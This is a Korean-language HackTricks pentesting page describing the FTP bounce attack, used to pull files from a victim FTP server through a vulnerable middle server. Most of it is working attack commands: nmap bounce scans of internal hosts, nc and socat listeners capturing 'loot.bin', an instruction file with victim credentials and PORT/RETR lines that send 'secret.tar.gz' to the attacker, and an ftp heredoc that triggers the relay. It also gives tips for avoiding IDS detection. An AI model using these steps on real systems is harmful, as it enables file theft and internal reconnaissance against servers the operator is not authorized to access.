FTP Bounce Download 2 of FTP File

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

요약

만약 bounce FTP server에 접근할 수 있다면, 자격 증명을 알고 있는 another FTP server의 파일을 요청하게 하고 그 파일을 your own server로 다운로드할 수 있습니다.

요구사항

  • FTP Middle server에 대한 유효한 FTP 자격 증명
  • Victim FTP server에 대한 유효한 FTP 자격 증명
  • 양 서버 모두 accept the PORT command (bounce FTP attack)
  • FTP Middle server의 어떤 디렉토리에 write할 수 있어야 함
  • 중간 서버가 Victim FTP Server 내부에서 당신보다 more access 권한을 가지고 있어야 함

절차

  1. 자신이 소유한 your own FTP server에 연결하고 연결을 passive로 설정(pasv 명령)하여 victim service가 파일을 보낼 디렉토리에서 listens 상태로 만듭니다.
  2. FTP Middle server가 Victim server로 보낼 파일(즉 exploit script)을 작성합니다. 이 파일은 Victim server에 인증하고 디렉토리를 변경하며 파일을 your own server로 다운로드하기 위한 명령들을 포함한 평문입니다.
  3. FTP Middle Server에 연결하여 앞서 만든 파일을 업로드합니다.
  4. FTP Middle server가 Victim server와 establish a connection을 맺고 exploit 파일을 전송하게 합니다.
  5. 자신의 FTP server에서 파일을 Capture합니다.
  6. FTP Middle server에서 exploit 파일을 Delete합니다.

취약한 bounce hosts 빠르게 확인

  • Nmap은 여전히 FTP bounce 검사를 지원합니다. 잠재적 middle server를 확인하는 예시:
nmap -Pn -p21 --script ftp-bounce <middle_ftp_ip>
# or directly attempt a bounce scan
nmap -Pn -p80 -b user:pass@<middle_ftp_ip>:21 <internal_target_ip>

서버가 서드파티 PORT 값을 거부하면 스캔은 실패합니다; 일부 임베디드/레거시 프린터, NAS 및 어플라이언스 FTP 데몬은 여전히 이를 허용합니다.

2차 FTP 다운로드 자동화

아래는 취약한 중간 FTP 서버를 통해 파일을 가져오는 현대화된 방법입니다.

  1. 공격 박스에서 수동 리스너(passive listener)를 엽니다 (임의의 TCP sink 사용 가능):
nc -lvnp 2121 > loot.bin  # or run a small pyftpdlib server
  1. IP를 A,B,C,D로, 포트 Pp1,p2로 표기합니다 (p1 = P/256, p2 = P%256).

  2. 중간 서버가 victim에게 재생할 instruction 파일을 만듭니다:

cat > instrs <<'EOF'
USER <victim_user>
PASS <victim_pass>
CWD /path/inside/victim
TYPE I
PORT A,B,C,D,p1,p2
RETR secret.tar.gz
QUIT
EOF
# Add padding so the control channel stays open on picky daemons
dd if=/dev/zero bs=1024 count=60 >> instrs
  1. 중간 서버에서 업로드 및 트리거 (classic proxy FTP):
ftp -n <middle_ftp> <<'EOF'
user <middle_user> <middle_pass>
put instrs
PORT <victim_ip_with_commas>,0,21
RETR instrs
QUIT
EOF
  1. 리스너에서 파일을 가져옵니다 (loot.bin).
  2. 중간 서버에 업로드한 instrs 파일을 정리(삭제)합니다.

참고:

  • 패딩(dd ...)은 RETR이 완료되기 전에 제어 연결이 닫히는 것을 방지합니다(고전 문서들에서 논의된 큰 TCP 윈도우 이슈).
  • TCP를 수신하고 덤프할 수 있는 어떤 서비스든 FTP PASV 소켓을 대체할 수 있습니다(예: socat -u TCP-LISTEN:2121,fork - > loot.bin).
  • 중간 서버가 privileged 포트를 제한하면 PORT에 높은 포트를 사용하고 리스너를 그에 맞게 조정하세요.

추가 트릭

  • 파일 중계가 차단되었을 때 내부 호스트를 포트 스캔하려면 bounceable FTP 서버를 사용하세요:
nmap -Pn -p22,80,445 -b anonymous:<email>@<middle_ftp> <internal_ip>
  • 일부 최신 WAF/IDS(예: Juniper IPS)에는 FTP:EXPLOIT:BOUNCE-ATTACK 전용 시그니처가 포함되어 있습니다; 시끄러운 페이로드나 패딩 누락은 탐지를 유발할 수 있습니다.
  • 중간 서버가 “PORT to same host” 제한을 적용하면, (쓰기/실행 권한이 있다면) 리스너를 중간 서버 자체에 배치하고 캡처한 파일을 나중에 전달하세요.

For a more detailed old-school walkthrough check: http://www.ouah.org/ftpbounce.html

References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기